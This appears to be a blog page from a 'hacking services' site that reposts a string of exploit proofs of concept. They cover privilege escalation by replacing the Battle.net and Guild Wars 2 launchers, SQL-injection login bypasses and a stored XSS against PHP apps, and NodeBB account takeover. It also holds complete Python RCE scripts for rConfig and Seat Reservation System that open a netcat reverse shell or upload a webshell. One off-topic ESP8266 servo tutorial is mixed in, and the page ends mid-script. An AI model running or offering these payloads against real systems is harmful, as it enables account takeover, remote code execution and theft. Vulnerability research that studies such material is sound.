Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863151818

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Battle.Net 1.27.1.12428 - Insecure File Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop )
# Version Patch: 1.27.1.12428
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Battle.Net Launcher (Battle.net.exe) suffers from an elevation of
privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Users' group, making the entire directory
'Battle.net' and its files and sub-dirs world-writable.

## Insecure Folder Permission

C:\Program Files (x86)>icacls Battle.net

Battle.net BUILTIN\Users:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(F)

## Insecure File Permission

C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe"

Battle.net.exe BUILTIN\Users:(I)(F)
BUILTIN\Administrators:(I)(F)
FREY-OMEN\30698:(I)(F)


## Local Privilege Escalation Proof of Concept
#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\>net user lowpriv Password123! /add
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

C:\Program Files (x86)\Battle.net> whoami

lowpriv

C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux

## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe

#4. Transfer created 'Battle.net.exe' to the Windows Host

#5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files
(x86)\Battle.net>' Folder

C:\Program Files (x86)\Battle.net> move
C:\Users\lowpriv\Downloads\Battle.net.exe .

#6. Check that exploit admin user doesn't exists

C:\Program Files (x86)\Battle.net> net user placebo

The user name could not be found

#6. Reboot the Computer

C:\Program Files (x86)\Battle.net> shutdown /r

#7. Login & look at that new Admin

C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
HireHackking 
# Exploit Title:  NodeBB Forum 1.12.2-1.14.2 - Account Takeover
# Date: 2020-08-18
# Exploit Author: Muhammed Eren Uygun
# Vendor Homepage: https://nodebb.org/
# Software Link: https://github.com/NodeBB/NodeBB
# Version: 1.12.2-1.14.2
# Tested on: Linux
# CVE : CVE-2020-15149 - https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hr66-c8pg-5mg7
Impact:
----------------------
A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.

Bug PoC:
----------------------
Blog: https://medium.com/bugbountywriteup/privilege-escalation-via-account-takeover-on-nodebb-forum-software-512-a593a7b1b4a4
1- Create a user
2- Go to password change page
3- Change password with proxy
427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)])
4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request.
5-  So you can login with this password to admin user.
HireHackking

In this article, we will use Xiao Ai to control the SG90 servo. This can simply realize some operations such as opening the door and opening the light using the servo.

Material preparation

ESP8266SG90 servo DuPont line 材料.png

Line connection

3ghnvzb5mm32174.jpg

Three wires of the servo machine: Yellow wire->connect signal (D4), red wire->connect positive electrode (5V), brown wire->connect negative electrode (G) effect u33u3ossg0d2175.png

Code

#include Servo.h

#define BLINKER_WIFI

#define BLINKER_MIOT_OUTLET

#include Blinker.h

char auth[]='064****a9'; //key

char ssid[]='PDCN'; //wifi name

char pswd[]='1234567890'; //wifi password

//Create a new component object

BlinkerButton Button1('btn-max'); //Maximum button

BlinkerButton Button2('btn-min'); //Minimum value button

Servo myservo;

BlinkerSlider Slider3('ser-num'); //Real-time position Slider Data key name Range 1-180

int servo_max,servo_min,ser_num,time_num;

void button1_callback(const String state) { //Maximum button function

BLINKER_LOG('get button state: ', servo_max);

myservo.write(servo_max);

Blinker.vibrate();

}

void button2_callback(const String state) { //Minimum button function

BLINKER_LOG('get button state: ', servo_min);

myservo.write(servo_min);

Blinker.vibrate();

}

void slider3_callback(int32_t value) //Slider function

{

ser_num=value;

myservo.write(ser_num);

Blinker.delay(100);

BLINKER_LOG('get slider value: ', value);

}

//Little Love Function

void miotPowerState(const String state)

{

BLINKER_LOG('need set power state: ', state);

if (state==BLINKER_CMD_ON) {

BLINKER_LOG('get button state: ', servo_max);

myservo.write(servo_max);

Blinker.vibrate();

}

else if (state==BLINKER_CMD_OFF) {

BLINKER_LOG('get button state: ', servo_min);

myservo.write(servo_min);

Blinker.vibrate();

}

}

void setup() {

Serial.begin(115200);

BLINKER_DEBUG.stream(Serial);

Blinker.begin(auth, ssid, pswd);

Button1.attach(button1_callback);

Button2.attach(button2_callback);

Slider3.attach(slider3_callback);

BlinkerMIOT.attachPowerState(miotPowerState);

myservo.attach(2); //servo.attach(): Set the servo data pin

myservo.write(10); //servo.write(): sets the rotation angle

servo_max=150;//The degree of rotation, here my range is 0-150°

servo_min=0;

time_num=500;

}

void loop() {

Blinker.run();

}

Regarding the pins, please refer to the figure below 2b1azzhmnfi2176.png

Effect

ypmur2mve0q2177.png

HireHackking 
# Exploit Title: Vehicle Parking Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-10-14
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14415/vehicle-parking-management-system-project-phpmysql-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/lagos-parker-fullsource-code.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : /login.php
# Parameter & Payload: username: '=''or'@email.com password: '=''or'
# Proof of Concept: http://localhost/lagos-parker/login.php

POST /lagos-parker/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Referer: http://localhost/lagos-parker/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=: undefined
HireHackking 
# Exploit Title: Guild Wars 2 - Insecure Folder Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://account.arena.net/welcome
# Version Build : 106915
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Guild Wars 2 Launcher (Gw2-64.exe) suffers from an elevation of privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Everyone' group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.


# Local Privilege Escalation Proof of Concept


D:\icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)

## Insecure File Permission

D:\Guild Wars 2icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
Everyone:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
BUILTIN\Users:(I)(RX)



#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\net user lowpriv Password123! /add
C:\net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

D:\Guild Wars 2whoami
lowpriv

D:\Guild Wars 2move Gw2-64.exe Gw2-64.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
## Add Admin User C Code

kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe

#4. Transfer created 'Gw2-64' to the Windows Host

#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2' Folder

D:\Guild Wars 2move C:\Users\lowpriv\Downloads\Gw2-64.exe .

#6. Check that exploit admin user doesn't exists

D:\Guild Wars 2net user placebo

The user name could not be found

#6. Reboot the Computer

D:\Guild Wars 2shutdown /r

#7. Login & now start the Guild Wars 2 Game, back doored launcher will be
executed, and the user placebo will be created, and added to the
Administrators group.

C:\Users\lowprivnet user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None
HireHackking 
# Exploit Title: Zoo Management System 1.0 - Authentication Bypass
# Date: 02/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://phpgurukul.com/zoo-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=12723
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

Step 1: Open the URL http://localhost/zoo/zms/admin/index.php

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request

POST /zoo/zms/admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://localhost
Connection: close
Referer: http://localhost/zoo/zms/admin/index.php
Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
Upgrade-Insecure-Requests: 1

username=jyot%27+or+1%3D1+%23&password=jyot%27+or+1%3D1+%23&login=

Step 3: You will be logged in as admin.
HireHackking 
# Exploit Title: Simple Grocery Store Sales And Inventory System 1.0 - Authentication Bypass
# Date: 24/09/2020
# Exploit Author: Saurav Shukla & Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14461/simple-grocery-store-sales-and-inventory-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sales-inventory-system-using-php.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


Step 1: Open the URL http://localhost/sales_inventory/login.php

Step 2: use payload jyot' or 1=1# in user and password field

Malicious Request:::


POST /sales_inventory/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Origin: http://localhost
Connection: close
Referer: http://localhost/sales_inventory/login.php
Cookie: PHPSESSID=hdk9npcmq341ulcsn8cj6oefov

username=jyot'+or+1%3d1%23&password=jyot'+or+1%3D1%23
HireHackking 
# Exploit Title: rConfig 3.9.5 - Remote Code Execution (Unauthenticated)

# Google Dork: N/A
# Date: 2020-10-13
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.5.zip
# Version: rConfig v3.9.5
# Tested on: CentOS 7 x64
# CVE : N/A


import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
    
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    
    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()
HireHackking 
#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL localhost:8081/Employee Management System/addemp.php

Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name.


Malicious Request:::

POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3267707159765331982713791736
Content-Length: 1571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="firstName"

<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="lastName"

<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="email"

abc@gmail.com
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="birthday"

2020-09-28
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="gender"

Female
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="contact"

9876543211
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="nid"

12
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="address"

Gujarat
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="dept"

CS
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="degree"

BE
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="salary"


-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


-----------------------------3267707159765331982713791736--


Cookie will be reflected on View Employee.
HireHackking 
#Exploit Title: Alumni Management System 1.0 - Authentication Bypass
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/alumni-management-system.zip
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1:	Open the URL http://localhost:8081/alumni-management-system/alumni/admin/login.php 

Step 2:	use payload anki' or 1=1# for both username and password.


Malicious Request:::

POST /alumni-management-system/alumni/admin/ajax.php?action=login HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/alumni-management-system/alumni/admin/login.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv

username=anki'+or+1%3D1%23&password=anki'+or+1%3D1%23

You will be login as admin of the application.
HireHackking 
#Exploit Title: Employee Management System 1.0 - Authentication Bypass
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/Employee%20Management%20System/alogin.html

Step 2: Use payload anki' or 1=1# for both username and password.


Malicious Request:::

POST /Employee%20Management%20System/process/aprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/alogin.html
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

mailuid=anki%27+or+1%3D1%23&pwd=anki%27+or+1%3D1%23&login-submit=Login

You will be login as Admin of the application.
HireHackking 
# Exploit Title: Restaurant Reservation System 1.0 - 'date' SQL Injection (Authenticated)
# Date: 2020-10-05
# Exploit Author: b1nary
# Vendor Homepage: https://www.sourcecodester.com/php/14482/restaurant-reservation-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/restaurants_3.zip
# Version: 1.0
# Tested on: Linux + Apache2

------------------------------------------------------------------------------------

1. Description:
----------------------

Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in
includes/reservation.inc.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'date' parameter and save it like re.req. Then run SQLmap to extract the
data from the database:

sqlmap -r re.req --dbms=mysql


3. Example payload:
----------------------

(time-based blind)

fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND 
'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=


4. Burpsuite request:
----------------------

POST /restaurant/includes/reservation.inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/restaurant/reservation.php
Cookie: PHPSESSID=r355njdkuddu4ac0a784i9i69m
Upgrade-Insecure-Requests: 1

fname=user&lname=user&date=2020-10-14&time=16%3A00+-+20%3A00&num_guests=2&tele=123456789&comments=null&reserv-submit=
HireHackking 
# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
# Date: 16/10/2020
# Exploit Author: Oğuz Türkgenç
# Vendor Homepage: https://phpgurukul.com/company-visitor-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=9602
# Version: 1.0
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3

Step 1: Open the URL http://localhost/cvms/index.php

Step 2: use payload ot' or 1=1# in user and password field

Malicious Request

POST /cvms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.175.128/cvms/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://localhost
Connection: close
Cookie: lang=english; PHPSESSID=qkg4nmdq97r4jkvkm4raa34660
Upgrade-Insecure-Requests: 1

username=ot%27+or+1%3D1+%23&password=ot%27+or+1%3D1+%23&login=

Step 3: You will be logged in as admin.
HireHackking 
# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# Exploit Tested Using: Python 2.7.18
# CVE: CVE-2020-25763
# Vulnerability Description: 
# Seat Reservation System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading PHP files.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s 'https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(16)])
    webshell = random+'.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    image     = {
                'cover': 
                  (
                    webshell, 
                    '<?php echo shell_exec($_GET["d3crypt"]); ?>', 
                    'application/php', 
                    {'Content-Disposition': 'form-data'}
                  ) 
              }
    fdata   = {'id': '','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-01','end_date':'2040-09-25'}
    r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
    r2 = s.get(SERVER_URL, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//img")
        links = [link.get('src', '') for link in refs]
        return [l for l in links]

    links = get_links(tree)
    print('Access your webshell at: ')    
    for link in links:
        if webshell in link:
            print(SERVER_URL + link+'?d3crypt=whoami')
HireHackking 
# Exploit Title: [aaPanel 6.6.6 - Authenticated Privilege Escalation]
# Google Dork: []
# Date: [04.05.2020]
# Exploit Author: [Ünsal Furkan Harani (Zemarkhos)]
# Vendor Homepage: [https://www.aapanel.com/](https://www.aapanel.com/)
# Software Link: [https://github.com/aaPanel/aaPanel](https://github.com/aaPanel/aaPanel)
# Version: [6.6.6] (REQUIRED)
# Tested on: [Linux ubuntu 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux]
# CVE : [CVE-2020-14421]

if you are logged was admin;

1- go to the crontab

2- select shell script and paste your reverse shell code

3- click execute button and you are now root.

because crontab.py running with root privileges.

Remote Code Execution

https://github.com/jenaye/aapanel
HireHackking 
# Exploit Title: Hotel Management System 1.0 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020-09-23
# Exploit Author: Eren Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14458/hotel-management-system-project-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hotel-management-system-using-php.zip
# Version: 1.0
# Tested on: Windows/Linux - XAMPP Server
# CVE : N/A

# Setup: pip3 install bs4 .

# Exploit Code :

import requests,sys,string,random
from bs4 import BeautifulSoup

def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str

session = requests.session()
